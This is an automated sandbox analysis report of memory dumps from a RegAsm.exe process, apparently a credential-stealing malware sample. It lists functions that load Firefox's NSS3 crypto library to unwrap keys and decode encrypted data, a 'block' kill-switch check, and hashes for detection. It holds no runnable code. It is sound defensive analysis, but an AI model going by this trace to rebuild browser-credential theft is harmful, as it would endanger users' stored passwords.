Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nXl
API String ID: 1003633598-468865674
Opcode ID: db6ea18ecc58469577c76f667852566f88dadd05cc49c56621dc0dc5e16d2043
Instruction ID: f14a7b2b00f187c3ca001b579a4e9ba7557fb720afe0e93099d69739cc1a988c
Opcode Fuzzy Hash: db6ea18ecc58469577c76f667852566f88dadd05cc49c56621dc0dc5e16d2043
Instruction Fuzzy Hash: 08412930601250FFD700DF90DC88F6E77B5EB9634EF059069E8086BA15DB31AD4ACB9A

Function 6C4C8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C4C8E01,00000000,6C4C9060,6C5D0B64), ref: 6C4C8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C4C8E01,00000000,6C4C9060,6C5D0B64), ref: 6C4C8E9E
PORT_ArenaAlloc_Util.NSS3(6C5D0B64,00000001,?,?,?,?,6C4C8E01,00000000,6C4C9060,6C5D0B64), ref: 6C4C8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C4C8E01,00000000,6C4C9060,6C5D0B64), ref: 6C4C8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C4C8E01,00000000,6C4C9060,6C5D0B64), ref: 6C4C8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C4C8E01,00000000,6C4C9060,6C5D0B64), ref: 6C4C8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C4C8E01), ref: 6C4C8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C5D0B64,6C5D0B64), ref: 6C4C8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C4C8F3F

Part of subcall function 6C4CA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C4CA421,00000000,00000000,6C4C9826), ref: 6C4CA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C4C904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C4C8E76

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 8fcf4c89f4c3539f350e3e80c07cbfba7a9924204774654007f4f36c7fb4c83c
Instruction ID: 4c9a40202377236fb40e3c15bf405cad87d8915af0cdf4035df5ba189808f4d9
Opcode Fuzzy Hash: 8fcf4c89f4c3539f350e3e80c07cbfba7a9924204774654007f4f36c7fb4c83c
Instruction Fuzzy Hash: 1461BFB9E01115ABDB10CF56CC80EABB7B5FF94359F144128DC18A7710E732E915CBA1

Function 6C478E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C478E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C478E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C478EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C5A18D0,?), ref: 6C478F03
PR_CallOnce.NSS3(6C5D2AA4,6C4D12D0), ref: 6C478F19
PL_FreeArenaPool.NSS3(?), ref: 6C478F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C478F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C478F65
PL_FinishArenaPool.NSS3(?), ref: 6C478FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C478FFE
PR_CallOnce.NSS3(6C5D2AA4,6C4D12D0), ref: 6C479012
PL_FreeArenaPool.NSS3(?), ref: 6C479024
PL_FinishArenaPool.NSS3(?), ref: 6C47902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C47903E

Strings

security, xrefs: 6C478EE7

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 4aaa50fbfab4540e4e57aff12e8bcc6132d0ffce52ec6950c5d934abbb6c676f
Instruction ID: c8fbed7eed43c65583cc26e31da36e088f7770bcbdb8fad743b97afa4766209f
Opcode Fuzzy Hash: 4aaa50fbfab4540e4e57aff12e8bcc6132d0ffce52ec6950c5d934abbb6c676f
Instruction Fuzzy Hash: 195138B1608340ABE720DA589C41FEB73E8AB8575DF41082EF855E7B40E771E90987B3

Function 6C53CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C53CC7B), ref: 6C53CD7A

Part of subcall function 6C53CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C4AC1A8,?), ref: 6C53CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C53CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C53CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C53CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C53CD8E

Part of subcall function 6C4605C0: PR_EnterMonitor.NSS3 ref: 6C4605D1
Part of subcall function 6C4605C0: PR_ExitMonitor.NSS3 ref: 6C4605EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C53CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C53CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C53CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C53CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C53CE48

Strings

ws2_32.dll, xrefs: 6C53CD75
freeaddrinfo, xrefs: 6C53CD9F, 6C53CE10
getaddrinfo, xrefs: 6C53CD88, 6C53CDF9
wship6.dll, xrefs: 6C53CDE3
getnameinfo, xrefs: 6C53CDB2, 6C53CE23

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: fee7af10b3ca1f3041b1b21be0524b29e1fa3f382f07f1c5a2a9968e8bd200c3
Instruction ID: 26505c588ef992026798ea1404a98cb9264095256be2de7fcd0ec53e61330f7f
Opcode Fuzzy Hash: fee7af10b3ca1f3041b1b21be0524b29e1fa3f382f07f1c5a2a9968e8bd200c3
Instruction Fuzzy Hash: A411A2F5E0227152D702F6BA2C00E9F3A985B0212DF185A3DF80992E41FB21E519C2EE

Function 6C4B4540 Relevance: 25.8, APIs: 17, Instructions: 349COMMON

Download Yara Rule

APIs

PK11_MakeIDFromPubKey.NSS3(00000000), ref: 6C4B4590
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C4B471C
TlsGetValue.KERNEL32 ref: 6C4B477C
EnterCriticalSection.KERNEL32(?), ref: 6C4B479A
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C4B484A
PK11_FreeSymKey.NSS3(?), ref: 6C4B4858
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C4B486A
PR_Unlock.NSS3(?), ref: 6C4B487E

Part of subcall function 6C51DD70: TlsGetValue.KERNEL32 ref: 6C51DD8C
Part of subcall function 6C51DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C51DDB4

PK11_FreeSymKey.NSS3(?), ref: 6C4B488C
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C4B489C
PK11_GetInternalSlot.NSS3 ref: 6C4B48B2
PK11_UnwrapPrivKey.NSS3(00000000,00000130,00000000,?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,6C497F9D), ref: 6C4B48EC
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6C4B492A
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C4B4949
PR_SetError.NSS3(00000000,00000000), ref: 6C4B4977
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C4B4987
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C4B499B

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Item_UtilZfree$K11_$CriticalErrorFreeSectionValue$DestroyEnterFromInternalLeaveMakePrivPrivateSlotUnlockUnwrap
String ID:
API String ID: 1673584487-0
Opcode ID: 4171d2ae5343d070234ac91cfd102ab29763633f11d126419245ca618da5220c
Instruction ID: 26e674fa46c2c2079455bbe5eebfa5cb27cb5c62e0e32e35c7f8dd644a750135
Opcode Fuzzy Hash: 4171d2ae5343d070234ac91cfd102ab29763633f11d126419245ca618da5220c
Instruction Fuzzy Hash: 96E18C75D012559FEB20CF28CC44FAABBB5EF44348F1081A9E81DA7751E7329A85CFA0

Function 004117A0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 004117C5
ExitProcess.KERNEL32 ref: 004117D1
strtok_s.MSVCRT ref: 004117E8

Strings

block, xrefs: 004117B7

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 04f02f922f7740013fe83ed2a8f854d15328f230cbde421a22dc870209397cee
Instruction ID: 00bb13bb87ecd4f31d5cbb7361e66ee12f2c4d363b15aa8138e6c51e0cba8311
Opcode Fuzzy Hash: 04f02f922f7740013fe83ed2a8f854d15328f230cbde421a22dc870209397cee
Instruction Fuzzy Hash: AC517DB4A10209EFCB04DFA1D954BFE77B6BF44304F10804AE516A7361D778E992CB6A

Function 6C4E0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,Nl), ref: 6C4E0C81

Part of subcall function 6C4CBE30: SECOID_FindOID_Util.NSS3(6C48311B,00000000,?,6C48311B,?), ref: 6C4CBE44

Part of subcall function 6C4B8500: SECOID_GetAlgorithmTag_Util.NSS3(6C4B95DC,00000000,00000000,00000000,?,6C4B95DC,00000000,00000000,?,6C497F4A,00000000,?,00000000,00000000), ref: 6C4B8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C4E0CC4

Part of subcall function 6C4CFAB0: free.MOZGLUE(?,-00000001,?,?,6C46F673,00000000,00000000), ref: 6C4CFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C4E0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C4E0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C4E0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C4E0D7D
free.MOZGLUE(00000000), ref: 6C4E0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C4E0DC1
free.MOZGLUE(00000000), ref: 6C4E0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C4E0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C4E0E0F

Part of subcall function 6C4B95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C497F4A,00000000,?,00000000,00000000), ref: 6C4B95E0
Part of subcall function 6C4B95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C497F4A,00000000,?,00000000,00000000), ref: 6C4B95F5
Part of subcall function 6C4B95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C4B9609
Part of subcall function 6C4B95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C4B961D
Part of subcall function 6C4B95C0: PK11_GetInternalSlot.NSS3 ref: 6C4B970B
Part of subcall function 6C4B95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C4B9756
Part of subcall function 6C4B95C0: PK11_GetIVLength.NSS3(?), ref: 6C4B9767
Part of subcall function 6C4B95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C4B977E
Part of subcall function 6C4B95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C4B978E

Strings

*,Nl, xrefs: 6C4E0DCC
-$Nl, xrefs: 6C4E0C64
*,Nl, xrefs: 6C4E0C69, 6C4E0DE0, 6C4E0C80, 6C4E0C8B, 6C4E0CAF

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,Nl$*,Nl$-$Nl
API String ID: 3136566230-2208369651
Opcode ID: 10a9a8f5b7265a7dd45074ff60fafff3ef5e9c3c5fec30048b4b1175b9359c40
Instruction ID: 311245155af9722638394abcdae3ef89250880e9ccdec5aab4754aa49cb646cb
Opcode Fuzzy Hash: 10a9a8f5b7265a7dd45074ff60fafff3ef5e9c3c5fec30048b4b1175b9359c40
Instruction Fuzzy Hash: 1141D4B5901245ABEB00DF65DC85FAF7A74EF0430AF150128ED2967741EB35EA14CBE2

Function 6C4A6500 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 101COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_EncryptFinal), ref: 6C4A6526
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C4A6554
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4A6563

Part of subcall function 6C58D930: PL_strncpyz.NSS3(?,?,?), ref: 6C58D963

PR_LogPrint.NSS3(?,00000000), ref: 6C4A6579
PR_LogPrint.NSS3( pLastEncryptedPart = 0x%p,?), ref: 6C4A6595
PR_LogPrint.NSS3( pulLastEncryptedPartLen = 0x%p,?), ref: 6C4A65B0
PR_LogPrint.NSS3( *pulLastEncryptedPartLen = 0x%x,?), ref: 6C4A661A

Strings

(CK_INVALID_HANDLE), xrefs: 6C4A655C
pLastEncryptedPart = 0x%p, xrefs: 6C4A6590
nXl, xrefs: 6C4A65C8, 6C4A65F6
pulLastEncryptedPartLen = 0x%p, xrefs: 6C4A65AB
C_EncryptFinal, xrefs: 6C4A6521
hSession = 0x%x, xrefs: 6C4A653E, 6C4A654E
*pulLastEncryptedPartLen = 0x%x, xrefs: 6C4A6615

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulLastEncryptedPartLen = 0x%x$ hSession = 0x%x$ pLastEncryptedPart = 0x%p$ pulLastEncryptedPartLen = 0x%p$ (CK_INVALID_HANDLE)$C_EncryptFinal$nXl
API String ID: 1003633598-4177350909
Opcode ID: d7dfc0d6c54358a2f186ebefbe74fc6aba0b581394e717117acb3fef9b75d64e
Instruction ID: 1f06971f846fea45af173bdd6bbe9e10cac8ca3f3393f6fcd6db7379d7ea7b49
Opcode Fuzzy Hash: d7dfc0d6c54358a2f186ebefbe74fc6aba0b581394e717117acb3fef9b75d64e
Instruction Fuzzy Hash: E2312831602250EFDB00DFD8DD48F9A77B5EB96319F054069E80897B15DB30AD4ACBDA

Function 6C4D6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C5A1DE0,?), ref: 6C4D6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4D6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C4D6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C4D6D82
DER_GetInteger_Util.NSS3(?), ref: 6C4D6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C4D6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C4D6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C4D6F19
PK11_DigestBegin.NSS3(00000000), ref: 6C4D6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C4D6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C4D7011
PK11_FreeSymKey.NSS3(00000000), ref: 6C4D7033
free.MOZGLUE(?), ref: 6C4D703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C4D7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C4D7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C4D70AF

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 37ed8fdd6d6512099d1e13aae8ffa969b34efffca1352d8cbc72608b1fa26218
Instruction ID: df4efe1af33bba13e248f48aa5c3cab781072d19ecf1a265aa4099342d9d0e65
Opcode Fuzzy Hash: 37ed8fdd6d6512099d1e13aae8ffa969b34efffca1352d8cbc72608b1fa26218
Instruction Fuzzy Hash: 5DA1E5715082019BEB00EE24DC65FDA32A5DB8130DF268D3DE958CBB91E775F8458793

Function 6C49AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C47AB95,00000000,?,00000000,00000000,00000000), ref: 6C49AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C47AB95,00000000,?,00000000,00000000,00000000), ref: 6C49AF39
PR_Unlock.NSS3(?,?,?,6C47AB95,00000000,?,00000000,00000000,00000000), ref: 6C49AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C47AB95,00000000,?,00000000,00000000,00000000), ref: 6C49AF69
TlsGetValue.KERNEL32 ref: 6C49B06B
EnterCriticalSection.KERNEL32(?), ref: 6C49B083
PR_Unlock.NSS3(?), ref: 6C49B0A4
TlsGetValue.KERNEL32 ref: 6C49B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C49B0D9
PR_Unlock.NSS3 ref: 6C49B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C49B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C49B182

Part of subcall function 6C4CFAB0: free.MOZGLUE(?,-00000001,?,?,6C46F673,00000000,00000000), ref: 6C4CFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C49B177

Part of subcall function 6C51C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C51C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C47AB95,00000000,?,00000000,00000000,00000000), ref: 6C49B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C47AB95,00000000,?,00000000,00000000,00000000), ref: 6C49B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C47AB95,00000000,?,00000000,00000000,00000000), ref: 6C49B1C2

Part of subcall function 6C4C1560: TlsGetValue.KERNEL32(00000000,?,6C490844,?), ref: 6C4C157A
Part of subcall function 6C4C1560: EnterCriticalSection.KERNEL32(?,?,?,6C490844,?), ref: 6C4C158F
Part of subcall function 6C4C1560: PR_Unlock.NSS3(?,?,?,?,6C490844,?), ref: 6C4C15B2

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: c12498728b5fab4414551d046e4ad81d3e4f73a94b3337c1111753a9cd6981b4
Instruction ID: 2f51752879cddfae776422cd77a4c51d43009570e87bf3bb13d2655a16902400
Opcode Fuzzy Hash: c12498728b5fab4414551d046e4ad81d3e4f73a94b3337c1111753a9cd6981b4
